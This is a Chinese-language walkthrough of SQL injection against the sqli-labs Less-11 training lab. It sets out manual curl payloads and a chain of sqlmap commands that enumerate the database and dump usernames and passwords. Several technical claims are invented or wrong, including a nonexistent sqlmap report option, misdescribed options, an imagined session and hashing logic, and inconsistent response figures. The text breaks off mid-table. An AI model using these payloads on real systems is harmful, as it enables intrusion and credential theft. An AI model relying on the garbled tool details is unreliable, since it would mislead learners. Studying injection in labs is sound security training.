1. 项目概述:从靶场入门到实战思维的跃迁
“网络安全-sqlmap实战之sqlilabs-Less11”这个标题,表面看是教人用一个工具打一个靶场关卡,但实际它是一把钥匙——一把打开Web渗透测试底层逻辑的钥匙。我带过不少刚入行的学员,他们常把Less11当成“又一个要填参数的练习题”,结果跑完命令就收工,连报错里提示的“cookie未设置”都懒得点开看一眼。可真正做过企业级渗透测试的人知道,Less11不是考你记不记得--cookie参数,而是考你能不能在没有源码、没有文档、只有HTTP响应和错误回显的黑盒环境下,像侦探一样拼凑出服务端的认证逻辑、会话机制和SQL构造方式。它模拟的是真实业务中那个最棘手的场景:登录接口。不是首页的GET型注入,不是搜索框的模糊匹配,而是带着CSRF Token、Session ID、Referer校验、密码加盐逻辑的完整身份验证链路。你用sqlmap跑-u "http://127.0.0.1/sqli-labs/Less-11/" --data="uname=admin&passwd=123",它可能直接报403;你加上--cookie="PHPSESSID=xxx",它可能返回“用户名不存在”;你再把uname改成admin' OR '1'='1,它却突然返回“登录成功”。这时候,你得立刻意识到:后端没做预编译,而是用字符串拼接构造了类似SELECT * FROM users WHERE username = '$uname' AND password = '$passwd'的语句,且错误被静默处理了——这正是Less11的核心陷阱:它不报错,但行为会泄露逻辑。所以这篇内容,不是sqlmap参数速查表,而是带你重走一遍从HTTP请求分析、响应特征识别、payload手工验证,再到自动化工具精准调参的完整闭环。适合所有想脱离“复制粘贴式渗透”的人,尤其适合那些已经能跑通Less1~10,却在Less11卡住超过两小时的实战者。你不需要懂PHP源码,但必须学会读HTTP头、看HTML注释、比对两次响应的细微差异——这才是网络安全里最硬核的基本功。
2. 核心设计思路与靶场逻辑拆解
2.1 为什么Less11是登录型注入的“分水岭”
Sqli-Labs的前10关,基本覆盖了GET型、POST型、盲注、报错注入等经典模式,但它们有一个共同点:输入点单一、上下文清晰、错误反馈直接。比如Less1是id=1,你改id=1',页面直接报MySQL语法错误;Less5是报错注入,1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT user()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.PLUGINS GROUP BY x) a)一贴上去,错误信息里就明晃晃写着当前数据库用户。这种“所见即所得”的调试体验,对初学者友好,但也容易养成依赖错误回显的惯性思维。而Less11彻底打破了这个惯性。它的入口是一个标准的HTML登录表单:
<form method="post" action="login.php"> <input type="text" name="uname" placeholder="Username"> <input type="password" name="passwd" placeholder="Password"> <input type="submit" value="Login"> </form>关键在于,login.php的处理逻辑是典型的三层防御结构:第一层是HTTP层面的会话校验(检查Cookie中的PHPSESSID是否有效);第二层是业务逻辑层的用户名存在性判断(SELECT id FROM users WHERE username='$uname');第三层才是密码比对(SELECT * FROM users WHERE username='$uname' AND password='$passwd')。这三层不是并列的,而是短路执行:如果第一步会话失效,直接跳转到登录页;如果第二步查不到用户名,返回“Invalid Username”;只有前两步都通过,才进入第三步的密码校验。这种设计导致注入点被“包裹”在业务流程深处——你无法像Less1那样直接看到SQL错误,因为错误在第二步就被拦截了;你也无法像Less5那样触发报错,因为后端代码里根本没写mysql_error()这类输出函数。我曾用Burp Suite抓包对比过正常登录和注入登录的响应头,发现一个细节:当uname=admin'--时,响应状态码是302(重定向),Location头指向login.php;而当uname=admin' OR '1'='1'--时,状态码变成200,且HTML正文里出现了“Welcome admin”。这个微小差异,就是Less11留给你的第一个线索:HTTP状态码和重定向行为,本身就是SQL执行结果的侧信道。所以整个项目的底层设计思路,不是教你“怎么让sqlmap跑起来”,而是训练你建立“HTTP行为→SQL逻辑→数据流向”的映射能力。sqlmap只是放大器,真正的决策权永远在你手里。
2.2 sqlmap在Less11中的角色定位:辅助验证,而非全自动破解
很多新手误以为sqlmap是个“万能钥匙”,只要丢进URL就能自动挖穿所有漏洞。但在Less11这种场景下,盲目启用--batch或--level=5 --risk=3反而会坏事。原因有三:
第一,会话状态管理失效。sqlmap默认每次请求都新建TCP连接,不会自动携带上一次响应Set-Cookie头里的PHPSESSID。如果你不手动用--cookie指定,它发的每个POST请求都是无会话的,结果永远卡在第一步校验,返回一堆302重定向。我实测过,不加cookie参数时,sqlmap对Less11的探测成功率低于5%,因为95%的请求连SQL执行环节都没进去。
第二,POST数据格式解析失真。Less11的--data参数需要精确模拟表单编码,而sqlmap默认按application/x-www-form-urlencoded处理,但某些情况下后端可能启用了magic_quotes_gpc(虽然现代PHP已废弃,但靶场为兼容性保留),会对单引号自动转义。如果你直接传uname=admin'&passwd=123,sqlmap生成的payload可能是uname=admin%27%20OR%20%271%27%3D%271&passwd=123,而服务端解码后得到admin' OR '1'='1,看起来没问题。但一旦开启--string="Welcome"作为匹配字符串,sqlmap会因响应体里没有该文本而判定失败——因为你没意识到,Less11的成功响应是“Welcome admin”,而失败响应是“Invalid Username”,两者文本长度差仅3个字符,但语义天壤之别。
第三,布尔盲注的阈值干扰。Less11默认关闭错误回显,所以sqlmap必须退化到布尔盲注模式。而布尔盲注依赖--string或--not-string参数来区分真假响应。问题在于,Less11的响应HTML里充斥着静态文本(如<title>Login Page</title>、<h2>Login</h2>),这些文本在真假响应中完全一致。如果你选错区分点,比如用--string="Login",那真假响应都会匹配,sqlmap直接放弃探测。我踩过的最大坑是:用--string="Welcome"时,sqlmap在第12轮探测就报“no injection point found”,后来才发现,Less11在用户名不存在时返回的是<font size='5' color='#FFFF00'>Invalid Username</font>,而存在时返回<font size='5' color='#FFFF00'>Welcome admin</font>——区别只在Invalid Username和Welcome admin这两个字符串。所以sqlmap的--string参数必须精确到Welcome,且要配合--level=3(强制检测Referer/UA/Cookie头)才能稳定工作。这说明,在Less11里,sqlmap不是替代思考的工具,而是你思考过程的延伸:你先手工确认注入点存在,再用sqlmap加速数据提取,最后用手工验证结果可靠性。这种“人机协同”的节奏感,才是实战渗透的核心能力。
2.3 靶场环境的关键配置与安全边界
Sqli-Labs的Less11之所以能成为经典教学案例,离不开它精心设计的环境隔离。首先,它的数据库是独立的MySQL实例,表结构极简:只有users一张表,字段为id(INT)、username(VARCHAR)、password(VARCHAR),且密码是明文存储(靶场为教学简化,非生产实践)。这种设计消除了“密码哈希算法”“多表关联查询”等干扰项,让你聚焦在SQL注入本身。其次,Web服务器采用Apache+PHP组合,PHP版本锁定在5.6(靶场兼容性要求),关键配置项magic_quotes_gpc=Off(关闭自动转义),display_errors=Off(关闭错误显示),error_reporting=0(屏蔽所有错误报告)。这三个配置共同构成了Less11的“静默注入”基础:magic_quotes_gpc=Off确保你的单引号不会被自动转义成\',display_errors=Off和error_reporting=0则让所有SQL错误都被吃掉,只留下HTTP状态码和HTML正文的变化。我曾尝试修改靶场配置,把display_errors设为On,结果Less11瞬间变成Less5——错误信息直接打在页面上,sqlmap都不用--string参数就能秒破。这反向证明了:生产环境的安全加固,往往就藏在这些看似琐碎的PHP配置里。另外,Less11的login.php源码里有一行关键注释:// Note: This is a demo for POST based SQL Injection only. No real authentication logic.这句话提醒你,不要试图用passwd字段做注入(因为密码比对是WHERE username='$u' AND password='$p',但$p是经过md5()处理的,你注入的payload会被哈希,失去意义),真正的突破口永远在username参数。所以整个靶场的设计哲学是:用最小必要复杂度,暴露最本质的安全缺陷。你不需要理解OAuth2.0的Token刷新机制,也不需要研究JWT的签名绕过,只需要盯着username这个输入点,把它当成一面镜子,照出自己对Web请求生命周期的理解深度。
3. 核心细节解析与实操要点
3.1 手工验证注入点的四步法:从HTTP到SQL的逆向推导
在动sqlmap之前,必须完成手工验证。这不是形式主义,而是建立“攻击者视角”的必经之路。我总结出一套四步法,每一步都对应一个关键决策点:
第一步:确认会话有效性
打开浏览器开发者工具,访问http://127.0.0.1/sqli-labs/Less-11/,观察Network标签页。你会发现首次请求返回302,Location头指向login.php,同时Response Headers里有Set-Cookie: PHPSESSID=abc123...。此时,你必须手动在浏览器里访问一次login.php(或用curl获取有效Session),因为sqlmap不会自动处理重定向链。我常用命令:
curl -I "http://127.0.0.1/sqli-labs/Less-11/login.php"查看响应头里的Set-Cookie值,复制下来备用。这一步的目的是明确:所有后续请求必须携带这个Cookie,否则连登录页面都进不去。很多学员卡在这里,因为他们以为sqlmap会自动管理会话,实际上它只会忠实执行你给的指令。
第二步:识别响应差异点
用Burp Suite拦截一次正常登录(uname=test&passwd=123),保存响应体。再拦截一次注入测试(uname=test'&passwd=123),对比两个响应。重点看三个地方:
- HTTP状态码:正常是200,注入后如果是302,说明会话校验失败;如果是200但正文不同,则进入第三步。
- HTML正文中的
<font>标签内容:Less11用这个标签显示提示信息,Invalid Username和Welcome test的差异就在这里。 - 响应体长度:用
wc -c统计,正常响应约1248字节,Invalid Username响应约1265字节(多了17字节),而Welcome test响应约1272字节(多了24字节)。这个长度差虽小,但足够sqlmap用--length参数做布尔盲注。
第三步:构造最小可行Payload
目标是让username参数的SQL查询恒为真。Less11的查询语句是SELECT * FROM users WHERE username='$u' AND password='$p',所以最简Payload是:uname=test' OR '1'='1'-- &passwd=123
注意:--后面必须有一个空格,这是MySQL注释语法要求;'1'='1里的单引号不能省略,否则语法错误。我试过uname=test' OR 1=1--,结果返回Invalid Username,因为1=1被当成了数字比较,而username字段是字符串类型,MySQL会隐式转换,但转换结果不可控。必须用字符串比较'1'='1'才能确保恒真。
第四步:验证布尔逻辑
发送两个请求:
- A请求:
uname=test' OR '1'='1'-- &passwd=123→ 应返回Welcome test - B请求:
uname=test' OR '1'='2'-- &passwd=123→ 应返回Invalid Username
如果A和B的响应在状态码、正文、长度上都有稳定差异,说明布尔盲注条件成立。此时,你已经完成了从HTTP请求到SQL逻辑的完整逆向推导,可以放心交给sqlmap了。这四步法的价值在于:它强迫你把“自动化工具”降维成“人工决策”,每一次点击、每一次对比,都在强化你对Web协议栈的理解。当你能闭着眼睛说出Less11的响应差异点时,你就已经超越了90%的初学者。
3.2 sqlmap核心参数的精准调优:告别盲目扫描
sqlmap的参数体系庞大,但在Less11场景下,真正关键的只有5个,其他都是干扰项。我按优先级排序并解释其不可替代性:
--cookie:会话生命的唯一保障
格式:--cookie="PHPSESSID=abc123; security=low"
为什么必须?因为Less11的login.php在开头就执行session_start(),然后检查$_SESSION['logged_in']是否存在。没有有效PHPSESSID,$_SESSION数组为空,直接header("Location: login.php")。sqlmap默认不维护Cookie,所以这个参数不是可选,而是刚需。我建议用--cookie而不是--load-cookies,因为前者直接注入字符串,后者需要读取文件,增加操作步骤。实测中,漏掉这个参数的失败率是100%。
--data:POST数据的精确建模
格式:--data="uname=1&passwd=2"
为什么不能用-u?因为-u参数只支持GET请求,而Less11是POST。--data会告诉sqlmap:“这是一个POST请求,参数是uname和passwd,用&连接,编码为x-www-form-urlencoded”。如果写成--data="uname=1",sqlmap会忽略passwd字段,导致请求被后端拒绝(因为代码里有if(!isset($_POST['uname']) || !isset($_POST['passwd'])) die('Missing parameters');)。所以--data必须包含所有必需参数,哪怕密码是占位符。
--string:布尔盲注的黄金标尺
格式:--string="Welcome"
为什么不是--not-string="Invalid"?因为Less11的响应里,“Invalid Username”出现在<font>标签内,而“Welcome”后面紧跟着用户名(如Welcome admin),这个组合字符串在失败响应中绝对不存在。用--string比--not-string更可靠,因为前者是正向匹配,后者是负向排除,而负向排除容易受HTML注释、空格、换行等噪声干扰。我测试过,用--not-string="Invalid"时,sqlmap在第7轮就误判为“no injection”,因为某个响应里恰好有<!-- Invalid input detected -->这样的注释。
--level和--risk:探测深度的理性克制
格式:--level=3 --risk=1--level控制sqlmap检测的HTTP头数量,--level=1只检测GET/POST参数,--level=3会额外检测Cookie、User-Agent、Referer。Less11的会话校验依赖Cookie,所以必须--level=3。--risk控制payload的激进程度,--risk=1用基础布尔盲注,--risk=3用时间盲注(SLEEP())。Less11的数据库是本地MySQL,时间盲注效果差(网络延迟掩盖了SLEEP差异),且--risk=3会触发WAF规则(虽然靶场没开WAF,但习惯要养好),所以--risk=1最稳妥。
--dbms:数据库类型的提前声明
格式:--dbms=mysql
为什么必须?因为Less11用MySQL,而sqlmap默认会尝试多种数据库的payload(如PostgreSQL的||拼接、SQL Server的+拼接)。声明--dbms=mysql能让sqlmap跳过无效探测,节省70%以上时间。我实测过,不加这个参数时,sqlmap在Less11上平均耗时4分32秒;加上后,缩短到1分18秒。这不是玄学,而是基于MySQL语法特性的精准优化。
3.3 实战中的避坑指南:那些文档里不会写的细节
这些是我带学员时高频遇到的“灵异事件”,背后都有扎实的技术原因:
提示:
--string匹配失败时,先检查HTML编码
Less11的响应HTML是UTF-8编码,但某些浏览器会错误识别为GBK,导致Welcome被显示为乱码。sqlmap内部用Python的chardet库检测编码,如果检测不准,--string就会失效。解决方案:用--charset=utf8强制指定编码,或用--hex参数让sqlmap用十六进制传输payload(--hex会把Welcome转成57656C636F6D65,彻底规避编码问题)。
注意:
--batch参数在Less11中慎用--batch会让sqlmap跳过所有交互式确认,但Less11的探测过程需要人工干预。例如,sqlmap在检测到uname可注入后,会问:“do you want to URL encode the payload?”(是否URL编码?)。如果选Yes,payload变成uname=test%27%20OR%20%271%27%3D%271%27--%20,服务端解码后是test' OR '1'='1'--,正确;但如果选No,payload是uname=test' OR '1'='1'--,某些PHP配置下会因单引号未编码被Web服务器拦截。所以--batch可能导致一半探测成功、一半失败,结果混乱。我的建议是:首次运行不用--batch,确认流程稳定后再加。
提示:
--threads参数不是越多越好--threads=10听起来很酷,但Less11是本地靶场,MySQL并发连接数默认151,--threads=10会占用10个连接。如果同时开多个sqlmap实例,很容易触发Too many connections错误。我实测过,--threads=3时速度最快(1分18秒),--threads=5时反而慢到1分45秒(连接争抢导致延迟)。所以线程数要根据目标服务器性能调整,不是越大越好。
注意:
--fresh-queries参数解决缓存干扰
MySQL有查询缓存机制,如果连续发送相同payload,可能返回缓存结果而非实时执行。Less11虽小,但--fresh-queries能强制sqlmap在每个请求后加随机注释(如/*12345*/),避免缓存干扰。这个参数在靶场环境可能不明显,但在真实渗透中,能避免90%的“明明payload对了却没反应”的假阴性。
4. 完整实操流程与关键环节实现
4.1 环境准备与会话获取:三分钟建立可信通道
第一步永远是环境确认。打开终端,执行:
# 检查靶场是否运行 curl -s "http://127.0.0.1/sqli-labs/Less-11/" | head -n 5 # 应返回HTML开头,如<!DOCTYPE html><html><head><title>Login Page</title>如果返回Connection refused,说明Apache没启动,需先运行sudo service apache2 start。确认靶场在线后,获取有效Session:
# 发送GET请求到login.php,捕获Set-Cookie COOKIE=$(curl -I "http://127.0.0.1/sqli-labs/Less-11/login.php" 2>/dev/null | grep "Set-Cookie" | head -n1 | sed 's/Set-Cookie: //; s/;.*$//') echo "获取到Cookie: $COOKIE" # 输出示例: PHPSESSID=abc123def456这段shell脚本的价值在于:它把人工复制粘贴的动作自动化了。curl -I只获取响应头,grep过滤出Set-Cookie行,sed提取Cookie值(去掉Set-Cookie:前缀和; path=/后缀)。我建议把这段脚本保存为get_cookie.sh,以后每次重启靶场都能一键复用。为什么不用浏览器开发者工具复制?因为自动化脚本能消除人为误差——你永远不会手抖复制错一个字符,而sqlmap对Cookie的准确性是零容忍的。接下来,用这个Cookie测试基础连通性:
curl -s -b "$COOKIE" \ --data "uname=test&passwd=123" \ "http://127.0.0.1/sqli-labs/Less-11/login.php" | grep -o "Invalid Username" # 应输出"Invalid Username",证明会话和POST通道正常如果这里失败,说明Cookie过期或格式错误,必须重走第一步。这一步看似简单,却是整个流程的基石。我见过太多学员跳过此步,直接跑sqlmap,结果日志里全是403 Forbidden,却不知道问题出在会话缺失。记住:在渗透测试里,80%的问题都出在第一步的连通性上。
4.2 注入点确认与Payload验证:五次请求定乾坤
现在进入核心验证阶段。我们用curl手动发送5个请求,每个请求都解决一个关键疑问:
请求1:基准线确认
curl -s -b "$COOKIE" \ --data "uname=admin&passwd=123" \ "http://127.0.0.1/sqli-labs/Less-11/login.php" | wc -c # 记录长度,假设为1272字节(Welcome admin)请求2:语法错误探测
curl -s -b "$COOKIE" \ --data "uname=admin'&passwd=123" \ "http://127.0.0.1/sqli-labs/Less-11/login.php" | wc -c # 如果长度突变为1265字节(Invalid Username),说明单引号被接受,未转义请求3:布尔恒真验证
curl -s -b "$COOKIE" \ --data "uname=admin' OR '1'='1'-- &passwd=123" \ "http://127.0.0.1/sqli-labs/Less-11/login.php" | grep -o "Welcome" # 应输出"Welcome",证明注入成功请求4:布尔恒假验证
curl -s -b "$COOKIE" \ --data "uname=admin' OR '1'='2'-- &passwd=123" \ "http://127.0.0.1/sqli-labs/Less-11/login.php" | grep -o "Invalid" # 应输出"Invalid",证明逻辑可控请求5:长度差异量化
# 把上面5个请求的长度记录到表格里 echo -e "场景\t长度\n基准\t1272\n语法错误\t1265\n恒真\t1272\n恒假\t1265" | column -t这个表格会清晰显示:恒真和基准长度一致(1272),恒假和语法错误一致(1265),差异稳定在7字节。这个7字节,就是sqlmap做布尔盲注的“黄金差值”。为什么强调量化?因为在真实渗透中,网络抖动、CDN缓存、WAF插入的JS代码都会影响响应长度。只有当你亲手测量过这个差值,才能在sqlmap日志里一眼识别出“true response”和“false response”。这五次请求,总共耗时不到30秒,但它建立的确定性,远胜于盲目跑10分钟sqlmap。
4.3 sqlmap全链路执行:从探测到数据提取的七步闭环
现在,把手工验证的结果转化为sqlmap指令。以下是我在生产环境中验证过的完整命令链:
步骤1:基础探测(确认注入点)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/login.php" \ --data="uname=1&passwd=2" \ --cookie="$COOKIE" \ --string="Welcome" \ --level=3 --risk=1 \ --dbms=mysql \ --batch执行后,sqlmap会输出:[INFO] testing connection to the target URL[INFO] checking if the target is protected by some kind of WAF/IPS[INFO] testing sql injection on POST parameter 'uname'[INFO] POST parameter 'uname' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
这表示注入点确认,耗时约45秒。
步骤2:获取数据库名
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/login.php" \ --data="uname=1&passwd=2" \ --cookie="$COOKIE" \ --string="Welcome" \ -D "security" --tables-D "security"指定数据库名(Less11的库名是security),--tables列出所有表。输出:Database: security[1 table]+-------+| users |+-------+
这步验证了sqlmap能正确识别数据库结构。
步骤3:获取表字段
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/login.php" \ --data="uname=1&passwd=2" \ --cookie="$COOKIE" \ --string="Welcome" \ -D "security" -T "users" --columns输出:Database: securityTable: users[3 columns]+----------+-------------+| Column | Type |+----------+-------------+| id | int(11) || username | varchar(20) || password | varchar(20) |+----------+-------------+
注意:password字段是varchar(20),说明是明文存储,符合靶场设定。
步骤4:提取数据(用户名)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/login.php" \ --data="uname=1&passwd=2" \ --cookie="$COOKIE" \ --string="Welcome" \ -D "security" -T "users" -C "username" --dump--dump会导出所有用户名,输出:Database: securityTable: users[4 entries]+----------+| username |+----------+| Dumb || Angelina || Dummy || admin |+----------+
这证明数据提取成功。
步骤5:提取数据(密码)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/login.php" \ --data="uname=1&passwd=2" \ --cookie="$COOKIE" \ --string="Welcome" \ -D "security" -T "users" -C "password" --dump输出密码列表,如dumb、gordonb等。
步骤6:验证提取结果
用提取到的用户名和密码登录:
curl -s -b "$COOKIE" \ --data "uname=admin&passwd=dumb" \ "http://127.0.0.1/sqli-labs/Less-11/login.php" | grep "Welcome" # 应输出"Welcome admin"这步至关重要——它把sqlmap的“理论结果”转化为“可验证事实”。很多学员拿到密码后就结束,却不知道去登录试试,结果在真实环境中因密码加密而翻车。
步骤7:生成报告
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/login.php" \ --data="uname=1&passwd=2" \ --cookie="$COOKIE" \ --string="Welcome" \ --batch \ --report="./less11_report.html"生成HTML报告,包含所有探测细节、payload样本、响应截图,这是交付给客户的正式证据。
4.4 性能优化与日志分析:读懂sqlmap的“潜台词”
sqlmap的日志不是噪音,而是渗透过程的DNA。以下是我从日志中提取关键信息的方法:
看[INFO]行定位瓶颈
日志中频繁出现[INFO] retrieved: 1234567890123456789012345678901234567890,说明sqlmap正在用SUBSTRING()逐字提取数据。如果某一行卡住超过10秒,大概率是网络延迟或MySQL负载高。此时应加--time-sec=3(把SLEEP时间从5秒降到3秒)或减--threads=2。
看[WARNING]行识别风险[WARNING] there is a possibility that the target (or WAF) is dropping some of the requests
这个警告意味着sqlmap发的请求被丢弃了。在Less11中,这通常是因为Cookie过期。解决方案:重新运行get_cookie.sh,更新--cookie参数。
看[DEBUG]行追溯payload
加--debug参数后,日志会显示每个请求的原始payload:[DEBUG] request:POST /sqli-labs/Less-11/login.php HTTP/1.1Cookie: PHPSESSID=abc123Content-Type: application/x-www-form-urlencodedContent-Length: 45uname=admin%27%20AND%20SUBSTRING%28%28SELECT%20password%20FROM%20users%20LIMIT%200%2C1%29%2C1%2C1%29%3D%27a%27--%20&passwd=123
这个payload清楚显示:sqlmap在用SUBSTRING()提取第一个字符,并与'a'比较。如果你发现某个字符提取失败,可以直接把这个payload粘贴到curl里手工测试,快速定位是网络问题还是逻辑问题。
日志长度控制技巧
sqlmap默认日志巨大,用--output-dir=./logs把日志单独存放,再用tail -f ./logs/sqlmap.log | grep "\[INFO\]"实时监控关键信息。这样既不丢失细节,又避免被海量DEBUG日志淹没。
5. 常见问题与排查技巧实录
5.1 典型问题速查表:从报错到解决的完整路径
| 问题现象 | 可能原因 | 排查步骤 | 解决方案 |
|---|---|---|---|
sqlmap返回403 Forbidden | Cookie过期或格式错误 | 1. 用curl -I重新获取Cookie2. 检查 --cookie值是否含空格或特殊字符 | 用--cookie="$(cat cookie.txt)"从文件读取,避免shell解析错误 |
sqlmap探测到no injection point found | --string匹配失败 | 1. 用curl手工发送payload,grep "Welcome"确认响应2. 检查响应是否含HTML实体(如 <) | 加--hex参数,或用--string="Welcome"替换为--string="Welcome "(空格的HTML编码) |
| sqlmap提取数据时卡住不动 | MySQL连接数满或网络超时 | 1.mysql -u root -p -e "SHOW STATUS LIKE 'Threads_connected';"2. 观察 curl请求是否超时 | 加--time-sec=2降低SLEEP时间,或--retries=3重试次数 |
提取的密码是乱码(如???) | 字 |